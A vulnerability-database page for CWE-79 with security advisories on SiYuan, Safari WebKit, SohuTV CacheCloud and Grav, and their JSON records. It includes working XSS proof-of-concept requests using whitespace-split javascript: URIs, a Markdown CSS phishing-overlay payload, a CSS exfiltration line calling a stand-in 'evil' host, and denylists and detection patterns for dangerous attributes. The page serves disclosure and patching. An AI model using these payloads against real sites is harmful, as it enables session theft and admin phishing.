Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

68420 vulnerabilities reference this CWE, most recent first.

GHSA-PMC9-F5QR-2PCR

Vulnerability from github – Published: 2026-03-10 23:57 – Updated: 2026-03-10 23:57
VLAI
Summary
SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS
Details

SVG Sanitizer Bypass via Whitespace in javascript: URI — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (	), newline (
), or carriage return (
) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS.

This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), distinct from the <animate> element bypass.

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Specific check: Line 271 — strings.HasPrefix(val, "javascript:")
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer uses Go's html.Parse which decodes HTML entities in attribute values. When the input contains java&#9;script:alert(1), the parser decodes &#9; to a literal tab character (U+0009). The sanitizer then checks:

val := strings.TrimSpace(strings.ToLower(a.Val))
// val is now "java\tscript:alert(1)"

if strings.HasPrefix(val, "javascript:") {
    continue  // This check FAILS — tab breaks the prefix match
}

strings.TrimSpace only removes leading/trailing whitespace, not internal whitespace. The HasPrefix check fails because "java\tscript:..." does not start with "javascript:".

However, per the WHATWG URL Standard, step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses java\tscript:alert(1) as javascript:alert(1).

Proof of Concept

Vector 1: Tab character (&#9;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#9;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 2: Newline character (&#10;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#10;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 3: Carriage return (&#13;)

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#13;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Vector 4: Multiple whitespace characters

GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j&#9;a&#10;v&#13;a&#9;s&#10;c&#13;r&#9;i&#10;p&#13;t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

Processing trace

  1. Input: <a href="java&#9;script:alert(document.domain)">
  2. html.Parse: Decodes entity → attribute value = java\tscript:alert(document.domain)
  3. Sanitizer: TrimSpace(ToLower(val)) = java\tscript:alert(document.domain) (tab preserved in middle)
  4. HasPrefix check: "java\tscript:..." does NOT start with "javascript:" → passes through
  5. html.Render: Outputs literal tab character in href (tabs are not HTML-special)
  6. Browser URL parser: Strips tab per WHATWG URL spec → javascript:alert(document.domain)
  7. User clicks link → JavaScript executes

Attack Scenario

Same as CVE-2026-29183 / advisory #01: 1. Attacker crafts a malicious getDynamicIcon URL 2. Victim navigates to the URL (or is redirected) 3. SVG renders with Content-Type: image/svg+xml 4. Victim clicks the text link in the SVG 5. JavaScript executes in SiYuan's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin
  • Bypasses the fix for CVE-2026-29183
  • Independent of the <animate> element bypass (advisory #01) — different root cause

Suggested Fix

Replace the simple HasPrefix check with whitespace-stripped comparison:

// Strip ASCII tab, newline, CR before checking for javascript: prefix
cleaned := strings.Map(func(r rune) rune {
    if r == '\t' || r == '\n' || r == '\r' {
        return -1  // Remove character
    }
    return r
}, val)

if key == "href" || key == "xlink:href" || key == "xlinkhref" {
    if strings.HasPrefix(cleaned, "javascript:") {
        continue
    }
    if strings.HasPrefix(cleaned, "data:") {
        if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") {
            continue
        }
    }
}

This should also be applied to the data: URI check, as the same whitespace bypass could potentially affect it.

Severity
6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260310025236-297bd526708f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:57:56Z",
    "nvd_published_at": "2026-03-10T21:16:50Z",
    "severity": "MODERATE"
  },
  "details": "# SVG Sanitizer Bypass via Whitespace in `javascript:` URI \u2014 Unauthenticated XSS\n\n## Summary\n\nSiYuan\u0027s SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`\u0026#9;`), newline (`\u0026#10;`), or carriage return (`\u0026#13;`) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS.\n\nThis is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `\u003canimate\u003e` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Specific check:** Line 271 \u2014 `strings.HasPrefix(val, \"javascript:\")`\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8\u0026content=...` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe sanitizer uses Go\u0027s `html.Parse` which decodes HTML entities in attribute values. When the input contains `java\u0026#9;script:alert(1)`, the parser decodes `\u0026#9;` to a literal tab character (U+0009). The sanitizer then checks:\n\n```go\nval := strings.TrimSpace(strings.ToLower(a.Val))\n// val is now \"java\\tscript:alert(1)\"\n\nif strings.HasPrefix(val, \"javascript:\") {\n    continue  // This check FAILS \u2014 tab breaks the prefix match\n}\n```\n\n`strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `\"java\\tscript:...\"` does not start with `\"javascript:\"`.\n\nHowever, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\\tscript:alert(1)` as `javascript:alert(1)`.\n\n## Proof of Concept\n\n### Vector 1: Tab character (`\u0026#9;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#9;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 2: Newline character (`\u0026#10;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#10;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 3: Carriage return (`\u0026#13;`)\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"java\u0026#13;script:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Vector 4: Multiple whitespace characters\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca href=\"j\u0026#9;a\u0026#10;v\u0026#13;a\u0026#9;s\u0026#10;c\u0026#13;r\u0026#9;i\u0026#10;p\u0026#13;t:alert(document.domain)\"\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\n### Processing trace\n\n1. **Input:** `\u003ca href=\"java\u0026#9;script:alert(document.domain)\"\u003e`\n2. **html.Parse:** Decodes entity \u2192 attribute value = `java\\tscript:alert(document.domain)`\n3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\\tscript:alert(document.domain)` (tab preserved in middle)\n4. **HasPrefix check:** `\"java\\tscript:...\"` does NOT start with `\"javascript:\"` \u2192 **passes through**\n5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special)\n6. **Browser URL parser:** Strips tab per WHATWG URL spec \u2192 `javascript:alert(document.domain)`\n7. **User clicks link \u2192 JavaScript executes**\n\n## Attack Scenario\n\nSame as CVE-2026-29183 / advisory #01:\n1. Attacker crafts a malicious `getDynamicIcon` URL\n2. Victim navigates to the URL (or is redirected)\n3. SVG renders with `Content-Type: image/svg+xml`\n4. Victim clicks the text link in the SVG\n5. JavaScript executes in SiYuan\u0027s origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin\n- Bypasses the fix for CVE-2026-29183\n- Independent of the `\u003canimate\u003e` element bypass (advisory #01) \u2014 different root cause\n\n## Suggested Fix\n\nReplace the simple `HasPrefix` check with whitespace-stripped comparison:\n\n```go\n// Strip ASCII tab, newline, CR before checking for javascript: prefix\ncleaned := strings.Map(func(r rune) rune {\n    if r == \u0027\\t\u0027 || r == \u0027\\n\u0027 || r == \u0027\\r\u0027 {\n        return -1  // Remove character\n    }\n    return r\n}, val)\n\nif key == \"href\" || key == \"xlink:href\" || key == \"xlinkhref\" {\n    if strings.HasPrefix(cleaned, \"javascript:\") {\n        continue\n    }\n    if strings.HasPrefix(cleaned, \"data:\") {\n        if strings.Contains(cleaned, \"text/html\") || strings.Contains(cleaned, \"image/svg+xml\") || strings.Contains(cleaned, \"application/xhtml+xml\") {\n            continue\n        }\n    }\n}\n```\n\nThis should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.",
  "id": "GHSA-pmc9-f5qr-2pcr",
  "modified": "2026-03-10T23:57:56Z",
  "published": "2026-03-10T23:57:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31809"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI \u2014 Unauthenticated XSS"
}

GHSA-PMF2-88MC-4H7Q

Vulnerability from github – Published: 2022-05-17 05:37 – Updated: 2022-05-17 05:37
VLAI
Details

Cross-site scripting (XSS) vulnerability in WebKit in Apple Safari before 5.0.6 allows remote attackers to inject arbitrary web script or HTML via vectors involving a URL that contains a username.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-0242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-07-21T23:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in WebKit in Apple Safari before 5.0.6 allows remote attackers to inject arbitrary web script or HTML via vectors involving a URL that contains a username.",
  "id": "GHSA-pmf2-88mc-4h7q",
  "modified": "2022-05-17T05:37:40Z",
  "published": "2022-05-17T05:37:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0242"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/Security-announce/2011//Oct/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2011//Jul/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4808"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4999"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PMF7-WFPV-2M87

Vulnerability from github – Published: 2025-12-29 21:30 – Updated: 2025-12-29 21:30
VLAI
Details

A flaw has been found in SohuTV CacheCloud up to 3.2.0. The impacted element is the function redirectNoPower of the file src/main/java/com/sohu/cache/web/controller/WebResourceController.java. This manipulation causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-15201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-29T19:15:56Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in SohuTV CacheCloud up to 3.2.0. The impacted element is the function redirectNoPower of the file src/main/java/com/sohu/cache/web/controller/WebResourceController.java. This manipulation causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-pmf7-wfpv-2m87",
  "modified": "2025-12-29T21:30:24Z",
  "published": "2025-12-29T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sohutv/cachecloud/issues/373"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.338588"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.338588"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.716312"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PMF8-G7C8-7V54

Vulnerability from github – Published: 2026-06-18 14:49 – Updated: 2026-06-18 14:49
VLAI
Summary
Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr
Details

Summary

The fix for GHSA-r7fx-8g49-7hhr / CVE-2026-42841 (Stored XSS via Markdown media attribute() action) is incomplete. The maintainer patched MediaObjectTrait::attribute() to deny dangerous attribute names (event handlers, style, xmlns, srcdoc, formaction) but the sibling MediaObjectTrait::style() method is reachable through the same Markdown excerpt-action pipeline and writes editor-controlled strings straight into the rendered <img style="…"> attribute with no sanitization.

Any user with admin.pages permission (e.g. an editor) can save Markdown like:

![logo](image.png?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)

which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the attribute() entry point and missed the style() sibling.

Affected versions

Vulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):

Branch / tag MediaObjectTrait::style()
develop (f4c0f42) unpatched
2.0 (96e1d2d) unpatched
2.0.0-rc.8 (latest 2.0 RC tag) unpatched
1.7.52 (latest 1.7 stable) unpatched

Per SECURITY.md, this advisory targets the 2.0 line (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).

Trust boundary

Per the project's SECURITY.md:

A vulnerability is when an actor can escape the trust scope of their role: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.

An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is across the trust boundary — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).

Details

Original GHSA-r7fx-8g49-7hhr fix (commit 5a12f9be8, 2026-04-23)

public function attribute($attribute = null, $value = '')
{
    if (empty($attribute) || !is_string($attribute)) {
        return $this;
    }
    if (!self::isSafeAttributeName($attribute)) {
        return $this;
    }
    $this->attributes[$attribute] = $value;
    return $this;
}

private static function isSafeAttributeName(string $name): bool
{
    if (!preg_match('/^[A-Za-z][A-Za-z0-9_:.\-]*$/', $name)) {
        return false;
    }
    $lower = strtolower($name);
    if (str_starts_with($lower, 'on')) {        // event handlers
        return false;
    }
    $denylist = ['style', 'xmlns', 'srcdoc', 'formaction'];
    return !in_array($lower, $denylist, true);
}

style is the second-named entry on the denylist — the maintainer explicitly recognised that editor-supplied style was dangerous when arriving via the attribute() action. The fix simply didn't reach the parallel sink.

The unpatched sibling: MediaObjectTrait::style() (line 519)

/**
 * Allows to add an inline style attribute from Markdown or Twig
 * Example: ![Example](myimg.png?style=float:left)
 */
public function style($style)
{
    $this->styleAttributes[] = rtrim($style, ';') . ';';
    return $this;
}

The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (?style=…). The rtrim is for clean concatenation, not security.

$styleAttributes is concatenated and assigned to attributes['style'] in parsedownElement() (lines 242–251):

$style = '';
foreach ($this->styleAttributes as $key => $value) {
    if (is_numeric($key)) {        // editor-supplied entries are numeric-keyed
        $style .= $value;
    } else {
        $style .= $key . ': ' . $value . ';';
    }
}
if ($style) {
    $attributes['style'] = $style;
}

Parsedown then runs htmlspecialchars on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.

Source → sink trace

The Markdown processor wires query-string keys to method calls on the Medium object (system/src/Grav/Common/Page/Markdown/Excerpts.php:262):

foreach ($actions as $action) {
    $matches = [];
    if (preg_match('/\[(.*)\]/', (string) $action['params'], $matches)) {
        $args = [explode(',', $matches[1])];
    } else {
        $args = explode(',', (string) $action['params']);
    }
    $medium = call_user_func_array([$medium, $action['method']], $args);
}

?style=position:fixed;top:0;left:0 becomes $medium->style('position:fixed;top:0;left:0').

Save-side XSS detector misses the payload

AdminController::savePage() runs Security::detectXssFromArray() on data[content] before persisting (classes/plugin/AdminController.php:1402). All five default patterns miss the Markdown form:

  • on_events: requires <…on*= in source.
  • invalid_protocols: requires javascript:/data:/etc. — the phishing-overlay payload uses none.
  • moz_binding: requires -moz-binding: literally.
  • html_inline_styles: requires <…style=…(url:|x:expression); Markdown source has no < and no url:.
  • dangerous_tags: requires <svg/<script/etc.

Save proceeds, the payload persists, the CSS is rendered to every viewer.

Impact

  • Phishing overlay — full-viewport position:fixed covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay.
  • UI redress / clickjacking — invisible overlays hijacking admin button clicks.
  • CSS-selector data exfiltration — input[value^="a"] { background: url(//evil/log?c=a) } against form fields the higher-privileged viewer interacts with.
  • Persistent admin-UI denial-of-service — position:fixed; background:white covers the page until the offending content is removed by hand on the server.

The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.

Proof of concept

A deterministic end-to-end PoC against a real Grav install ships with the finding (repro.sh). Steps:

  1. Log in as an editor (admin.pages + admin.pages.update, no admin.super).
  2. Upload a benign image to a target page.
  3. Save the page with the Markdown payload ![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999).
  4. Visit the public page; observe the <img style="…"> carrying the unsanitised CSS.

Suggested fix

Apply the same denylist + identifier-shape gate to style() that isSafeAttributeName() enforces for attribute():

 public function style($style)
 {
+    if (!is_string($style) || !self::isSafeStyleValue($style)) {
+        return $this;
+    }
     $this->styleAttributes[] = rtrim($style, ';') . ';';
     return $this;
 }

+/**
+ * Editor-controlled style values arrive via Markdown `?style=…` and reach
+ * the rendered `<img style="…">` attribute verbatim. Limit to a conservative
+ * set of CSS that themes legitimately use from content (sizing, float,
+ * margin, etc.) and reject anything that opens a phishing-overlay or
+ * data-exfil primitive. Matches the spirit of the attribute() denylist
+ * from GHSA-r7fx-8g49-7hhr — same trust boundary, sibling sink.
+ */
+private static function isSafeStyleValue(string $css): bool
+{
+    $css = strtolower($css);
+    // Deny: phishing-overlay positioning, CSS-selector exfil sinks
+    // (background/content url(...)), expression() (legacy IE),
+    // -moz-binding (legacy FF), behavior: url() (IE).
+    $deny = ['position:', '@import', 'url(', 'expression(',
+             '-moz-binding', 'behavior:', 'z-index:', 'fixed', 'absolute'];
+    foreach ($deny as $needle) {
+        if (str_contains($css, $needle)) {
+            return false;
+        }
+    }
+    return (bool) preg_match('/^[A-Za-z0-9 :;%.,\-#\/]*$/', $css);
+}

Alternatively, deprecate the Markdown ?style=… action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.

Defense in depth: extend Security::detectXss()'s html_inline_styles rule to also match Markdown-form ?style= query parameters in data[content] on save.

References

  • Original advisory: GHSA-r7fx-8g49-7hhr
  • Fix commit: 5a12f9be8 (system/src/Grav/Common/Media/Traits/MediaObjectTrait.php)
  • Unpatched code: system/src/Grav/Common/Media/Traits/MediaObjectTrait.php lines 519–524
  • Project security policy: SECURITY.md (trust-boundary severity model)
Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-rc.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-rc.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T14:49:19Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for **GHSA-r7fx-8g49-7hhr / CVE-2026-42841** (Stored XSS via Markdown media `attribute()` action) is incomplete. The maintainer patched `MediaObjectTrait::attribute()` to deny dangerous attribute names (event handlers, `style`, `xmlns`, `srcdoc`, `formaction`) but the sibling `MediaObjectTrait::style()` method is reachable through the **same Markdown excerpt-action pipeline** and writes editor-controlled strings straight into the rendered `\u003cimg style=\"\u2026\"\u003e` attribute with **no sanitization**.\n\nAny user with `admin.pages` permission (e.g. an editor) can save Markdown like:\n\n```markdown\n![logo](image.png?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)\n```\n\nwhich renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue \u2014 the fix simply patched the `attribute()` entry point and missed the `style()` sibling.\n\n## Affected versions\n\nVulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):\n\n| Branch / tag | `MediaObjectTrait::style()` |\n|---|---|\n| `develop` (`f4c0f42`) | unpatched |\n| `2.0` (`96e1d2d`) | unpatched |\n| `2.0.0-rc.8` (latest 2.0 RC tag) | unpatched |\n| `1.7.52` (latest 1.7 stable) | unpatched |\n\nPer `SECURITY.md`, this advisory targets the **2.0 line** (publisher-level exploit, not eligible for 1.7 backport per the project\u0027s stated policy).\n\n## Trust boundary\n\nPer the project\u0027s `SECURITY.md`:\n\n\u003e A vulnerability is when an actor can **escape the trust scope of their role**: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.\n\nAn editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor\u0027s page in their authenticated session and getting attacker-controlled CSS painted into their browser is **across the trust boundary** \u2014 the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).\n\n## Details\n\n### Original GHSA-r7fx-8g49-7hhr fix (commit `5a12f9be8`, 2026-04-23)\n\n```php\npublic function attribute($attribute = null, $value = \u0027\u0027)\n{\n    if (empty($attribute) || !is_string($attribute)) {\n        return $this;\n    }\n    if (!self::isSafeAttributeName($attribute)) {\n        return $this;\n    }\n    $this-\u003eattributes[$attribute] = $value;\n    return $this;\n}\n\nprivate static function isSafeAttributeName(string $name): bool\n{\n    if (!preg_match(\u0027/^[A-Za-z][A-Za-z0-9_:.\\-]*$/\u0027, $name)) {\n        return false;\n    }\n    $lower = strtolower($name);\n    if (str_starts_with($lower, \u0027on\u0027)) {        // event handlers\n        return false;\n    }\n    $denylist = [\u0027style\u0027, \u0027xmlns\u0027, \u0027srcdoc\u0027, \u0027formaction\u0027];\n    return !in_array($lower, $denylist, true);\n}\n```\n\n`style` is the **second-named entry** on the denylist \u2014 the maintainer explicitly recognised that editor-supplied `style` was dangerous when arriving via the `attribute()` action. The fix simply didn\u0027t reach the parallel sink.\n\n### The unpatched sibling: `MediaObjectTrait::style()` (line 519)\n\n```php\n/**\n * Allows to add an inline style attribute from Markdown or Twig\n * Example: ![Example](myimg.png?style=float:left)\n */\npublic function style($style)\n{\n    $this-\u003estyleAttributes[] = rtrim($style, \u0027;\u0027) . \u0027;\u0027;\n    return $this;\n}\n```\n\nThe function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (`?style=\u2026`). The `rtrim` is for clean concatenation, not security.\n\n`$styleAttributes` is concatenated and assigned to `attributes[\u0027style\u0027]` in `parsedownElement()` (lines 242\u2013251):\n\n```php\n$style = \u0027\u0027;\nforeach ($this-\u003estyleAttributes as $key =\u003e $value) {\n    if (is_numeric($key)) {        // editor-supplied entries are numeric-keyed\n        $style .= $value;\n    } else {\n        $style .= $key . \u0027: \u0027 . $value . \u0027;\u0027;\n    }\n}\nif ($style) {\n    $attributes[\u0027style\u0027] = $style;\n}\n```\n\nParsedown then runs `htmlspecialchars` on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.\n\n### Source \u2192 sink trace\n\nThe Markdown processor wires query-string keys to method calls on the `Medium` object (`system/src/Grav/Common/Page/Markdown/Excerpts.php:262`):\n\n```php\nforeach ($actions as $action) {\n    $matches = [];\n    if (preg_match(\u0027/\\[(.*)\\]/\u0027, (string) $action[\u0027params\u0027], $matches)) {\n        $args = [explode(\u0027,\u0027, $matches[1])];\n    } else {\n        $args = explode(\u0027,\u0027, (string) $action[\u0027params\u0027]);\n    }\n    $medium = call_user_func_array([$medium, $action[\u0027method\u0027]], $args);\n}\n```\n\n`?style=position:fixed;top:0;left:0` becomes `$medium-\u003estyle(\u0027position:fixed;top:0;left:0\u0027)`.\n\n### Save-side XSS detector misses the payload\n\n`AdminController::savePage()` runs `Security::detectXssFromArray()` on `data[content]` before persisting (`classes/plugin/AdminController.php:1402`). All five default patterns miss the Markdown form:\n\n- `on_events`: requires `\u003c\u2026on*=` in source.\n- `invalid_protocols`: requires `javascript:`/`data:`/etc. \u2014 the phishing-overlay payload uses none.\n- `moz_binding`: requires `-moz-binding:` literally.\n- `html_inline_styles`: requires `\u003c\u2026style=\u2026(url:|x:expression)`; Markdown source has no `\u003c` and no `url:`.\n- `dangerous_tags`: requires `\u003csvg`/`\u003cscript`/etc.\n\nSave proceeds, the payload persists, the CSS is rendered to every viewer.\n\n## Impact\n\n- **Phishing overlay** \u2014 full-viewport `position:fixed` covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker\u0027s overlay.\n- **UI redress / clickjacking** \u2014 invisible overlays hijacking admin button clicks.\n- **CSS-selector data exfiltration** \u2014 `input[value^=\"a\"] { background: url(//evil/log?c=a) }` against form fields the higher-privileged viewer interacts with.\n- **Persistent admin-UI denial-of-service** \u2014 `position:fixed; 